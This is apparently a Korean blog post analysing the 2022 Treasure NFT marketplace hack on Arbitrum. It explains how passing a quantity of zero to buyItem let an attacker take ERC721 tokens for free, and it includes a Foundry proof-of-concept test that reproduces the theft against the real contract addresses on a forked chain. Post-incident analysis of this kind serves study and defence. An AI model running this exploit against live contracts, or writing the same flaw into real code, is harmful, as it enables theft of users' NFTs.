2022년 3월 Treasure라는 NFT 거래 플랫폼이 공격받았습니다.

해당 취약점에 대해서 알아보겠습니다.

해당 프로젝트는 Arbitrum 체인 상에서 동작하며 실제 공격이 이뤄진 트랜잭션은 아래와 같습니다.

https://arbiscan.io/tx/0x82a5ff772c186fb3f62bf9a8461aeadd8ea0904025c3330a4d247822ff34bc02

 

Arbitrum Transaction Hash (Txhash) Details | Arbiscan

Arbitrum (ETH) detailed transaction info for txhash 0x82a5ff772c186fb3f62bf9a8461aeadd8ea0904025c3330a4d247822ff34bc02. The transaction status, block confirmation, gas fee, ETH, and token transfer are shown.

arbiscan.io

취약점

메인 취약점은 TreasureMarketplaceBuyer의 buyItem 함수에서 발생하였습니다.

    function buyItem(
        address _nftAddress,
        uint256 _tokenId,
        address _owner,
        uint256 _quantity,
        uint256 _pricePerItem
    ) external {
        (, uint256 pricePerItem,) = marketplace.listings(_nftAddress, _tokenId, _owner);

        require(pricePerItem == _pricePerItem, "pricePerItem changed!");

        uint256 totalPrice = _pricePerItem * _quantity;
        IERC20(marketplace.paymentToken()).safeTransferFrom(msg.sender, address(this), totalPrice);
        IERC20(marketplace.paymentToken()).safeApprove(address(marketplace), totalPrice);

        marketplace.buyItem(_nftAddress, _tokenId, _owner, _quantity);

        if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) {
            IERC721(_nftAddress).safeTransferFrom(address(this), msg.sender, _tokenId);
        } else {
            IERC1155(_nftAddress).safeTransferFrom(address(this), msg.sender, _tokenId, _quantity, bytes(""));
        }
    }

한줄 한줄 따라 들어가면서 살펴보겠습니다.

먼저 전달되는 인자입니다. 

  • 첫번째 인자: 구매할 nft의 주소
  • 두번째 인자: 구매할 nft의 id
  • 세번째 인자: 구매할 nft의 소유자
  • 네번째 인자: 구매할 수량
  • 다섯번째 인자: 개당 가격

또한 external로 설정되어있어 직접 호출할 수 있습니다.

가장 먼저 인자값들을 토대로 사려고하는 nft의 개당 가격을 알아냅니다.

위에서 구한 개당 가격과 인자로 주어진 개당가격이 같은지 확인합니다. 

개당 가격과 구매하려는 수량을 곱해 총 가격을 구합니다.

여기서 취약점이 발생합니다. 만약 _quantity가 0이라면 totalPrice0이되기 때문입니다.

이후 계산한 totalPrice만큼을 TreasureMarketplaceBuyer로 전송받고 marketplace를 approve합니다.

그리고 marketplace의 buyItem을 호출합니다. 여기서는 구매가 되었다고 처리하는 로직을 수행하고 TreasureMarketplaceBuyer로 구매한 nft를 전송합니다.

그 뒤 ERC721, ERC1155에 맞게 전송합니다. 

정리해보면 인자 중 구매할 수량을 0으로 지정하면 ERC721에 한해서 돈을 내지 않고 구매할 수 있습니다.

애초에 ERC721에서는 quantity가 필요없기 때문에 설정한 token id에 해당하는 nft를 전송받을 수 있습니다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "src/Attacker.sol";

interface ITreasureMarketplaceBuyer {
    function buyItem(address _nftAddress, uint256 _tokenId, address _owner, uint256 _quantity, uint256 _pricePerItem) external;
}
interface IERC721 {
    function balanceOf(address owner) external view returns (uint256 balance);
    function ownerOf(uint256 tokenId) external view returns (address owner);
}
interface ITreasureMarketplace {
    struct Listing {
        uint256 quantity;
        uint256 pricePerItem;
        uint256 expirationTime;
    }
    function listings(address _nftAddress, uint256 _tokenId, address _owner) external returns(uint256 quantity, uint256 pricePerItem, uint256 expirationTime) ;
}

contract TreasureAttackTest is Test {
    //TreasureMarketplaceBuyer
    address buyer = address(0x812cdA2181ed7c45a35a691E0C85E231D218E273);
    address marketplace = address(0x2E3b85F85628301a0Bce300Dee3A6B04195A15Ee);

    address attacker;

    address targetNft = address(0x6325439389E0797Ab35752B4F43a14C004f22A9c);
    uint256 targetNftId = 3557;


    function testAttack() public {
        vm.createSelectFork(vm.envString("ARBITRUM_RPC"), 7322600);

        attacker = address(new Attacker());
        vm.startPrank(attacker);
        console.log("Attacker balance before", IERC721(targetNft).balanceOf(attacker));

        address nftOwner = IERC721(targetNft).ownerOf(targetNftId);
        (, uint256 pricePerItem,) = ITreasureMarketplace(marketplace).listings(targetNft, targetNftId, nftOwner);
        ITreasureMarketplaceBuyer(buyer).buyItem(targetNft, targetNftId, nftOwner, 0, pricePerItem);

        console.log("Attacker balance after", IERC721(targetNft).balanceOf(attacker));
    }

}

위의 분석을 토대로 공격 테스트를 작성할 수 있었습니다.

위의 테스트를 실행하면 attacker에게 nft가 전송됩니다.

복사했습니다!